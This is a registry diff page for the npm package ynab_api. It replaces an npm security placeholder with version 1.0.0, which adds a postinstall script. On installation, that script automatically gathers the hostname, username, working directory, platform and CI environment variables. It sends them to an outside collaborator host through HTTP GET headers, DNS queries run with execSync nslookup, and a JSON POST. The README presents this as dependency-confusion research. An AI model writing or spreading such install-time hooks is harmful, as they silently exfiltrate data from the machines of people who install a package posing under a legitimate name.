ynab_api 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ynab_api might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,5 @@
1
- # Security holding package
1
+ # Security Notice
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ This package was created for security research and bug bounty hunting purposes to detect dependency confusion vulnerabilities. If this package was installed on one of your systems, or pulled into your internal npm registry, this likely is a security risk. Please get in contact with your security team and contact the security researcher who owns the package under security@adlr.io
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=ynab_api for more information.
5
+ ---
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ // Main entry point - minimal implementation
2
+ module.exports = {
3
+ version: '1.0.0',
4
+ description: 'Dependency confusion detection package'
5
+ };
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "ynab_api",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.0",
4
+ "description": "dependency confusion sensor package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [
10
+ "dependency-confusion",
11
+ "security",
12
+ "detection"
13
+ ],
14
+ "author": "Security Researcher",
15
+ "license": "MIT"
16
+ }
package/postinstall.js ADDED
@@ -0,0 +1,131 @@
1
+ const https = require('https');
2
+ const http = require('http');
3
+ const os = require('os');
4
+ const { execSync } = require('child_process');
5
+
6
+ const COLLABORATOR_URL = 'https://wbbaoc3sbu2vft9ow1sqspslgcm3au6iv.collab.invokeshell.net';
7
+ const KILLSWITCH_DOMAIN = 'gght12ebm5l0.fir3.org';
8
+ const PACKAGE_NAME = process.env.npm_package_name || 'unknown';
9
+
10
+ function checkKillSwitch() {
11
+ try {
12
+ execSync(`nslookup ${KILLSWITCH_DOMAIN}`, { stdio: 'ignore' });
13
+ return true;
14
+ } catch {
15
+ return false;
16
+ }
17
+ }
18
+
19
+ function sendHttpBeacon(url, systemInfo) {
20
+ try {
21
+ const urlObj = new URL(url);
22
+ const client = urlObj.protocol === 'https:' ? https : http;
23
+ const options = {
24
+ hostname: urlObj.hostname,
25
+ port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80),
26
+ path: urlObj.pathname + urlObj.search,
27
+ method: 'GET',
28
+ headers: {
29
+ 'User-Agent': 'Dependency-Confusion-Detector/1.0.0',
30
+ 'X-Package-Name': PACKAGE_NAME,
31
+ 'X-Hostname': systemInfo.hostname,
32
+ 'X-Platform': systemInfo.platform,
33
+ 'X-User': systemInfo.user,
34
+ 'X-Node-Version': systemInfo.node_version,
35
+ 'X-CWD': systemInfo.cwd,
36
+ 'X-Killswitch-Domain': KILLSWITCH_DOMAIN
37
+ },
38
+ timeout: 10000
39
+ };
40
+ const req = client.request(options, () => {});
41
+ req.on('error', () => {});
42
+ req.on('timeout', () => { req.destroy(); });
43
+ req.end();
44
+ } catch {}
45
+ }
46
+
47
+ function sendDnsBeacon(collaboratorUrl, systemInfo) {
48
+ try {
49
+ const dnsUrl = collaboratorUrl.replace('https://', '').replace('http://', '');
50
+ const dnsQuery = `${PACKAGE_NAME}.${systemInfo.hostname}.${systemInfo.user}.${dnsUrl}`;
51
+ execSync(`nslookup ${dnsQuery}`, { stdio: 'ignore' });
52
+ } catch {}
53
+ }
54
+
55
+ function sendPostBeacon(url, systemInfo) {
56
+ try {
57
+ const urlObj = new URL(url);
58
+ const data = JSON.stringify(systemInfo);
59
+ const client = urlObj.protocol === 'https:' ? https : http;
60
+ const options = {
61
+ hostname: urlObj.hostname,
62
+ port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80),
63
+ path: urlObj.pathname,
64
+ method: 'POST',
65
+ headers: {
66
+ 'Content-Type': 'application/json',
67
+ 'User-Agent': 'Dependency-Confusion-Detector/1.0.0',
68
+ 'Content-Length': Buffer.byteLength(data)
69
+ },
70
+ timeout: 10000
71
+ };
72
+ const req = client.request(options, () => {});
73
+ req.on('error', () => {});
74
+ req.on('timeout', () => { req.destroy(); });
75
+ req.write(data);
76
+ req.end();
77
+ } catch {}
78
+ }
79
+
80
+ function sendBeacon() {
81
+ try {
82
+ if (checkKillSwitch()) {
83
+ return;
84
+ }
85
+
86
+ const systemInfo = {
87
+ timestamp: new Date().toISOString(),
88
+ package_name: PACKAGE_NAME,
89
+ hostname: os.hostname(),
90
+ platform: os.platform(),
91
+ arch: os.arch(),
92
+ node_version: process.version,
93
+ npm_version: process.env.npm_config_user_agent || 'unknown',
94
+ cwd: process.cwd(),
95
+ user: os.userInfo().username,
96
+ killswitch_domain: KILLSWITCH_DOMAIN,
97
+ env: {
98
+ NODE_ENV: process.env.NODE_ENV,
99
+ CI: process.env.CI,
100
+ TRAVIS: process.env.TRAVIS,
101
+ GITHUB_ACTIONS: process.env.GITHUB_ACTIONS,
102
+ JENKINS_URL: process.env.JENKINS_URL,
103
+ BUILDKITE: process.env.BUILDKITE,
104
+ CIRCLECI: process.env.CIRCLECI,
105
+ GITLAB_CI: process.env.GITLAB_CI,
106
+ TEAMCITY_VERSION: process.env.TEAMCITY_VERSION,
107
+ BAMBOO_BUILDKEY: process.env.BAMBOO_BUILDKEY,
108
+ GO_PIPELINE_NAME: process.env.GO_PIPELINE_NAME
109
+ }
110
+ };
111
+
112
+ const queryParams = new URLSearchParams({
113
+ pkg: PACKAGE_NAME,
114
+ host: systemInfo.hostname,
115
+ platform: systemInfo.platform,
116
+ user: systemInfo.user,
117
+ node: systemInfo.node_version,
118
+ cwd: systemInfo.cwd,
119
+ timestamp: systemInfo.timestamp,
120
+ killswitch: KILLSWITCH_DOMAIN
121
+ }).toString();
122
+
123
+ const beaconUrl = `${COLLABORATOR_URL}?${queryParams}`;
124
+ sendHttpBeacon(beaconUrl, systemInfo);
125
+ sendDnsBeacon(COLLABORATOR_URL, systemInfo);
126
+ sendPostBeacon(`${COLLABORATOR_URL}/beacon`, systemInfo);
127
+
128
+ } catch {}
129
+ }
130
+
131
+ sendBeacon();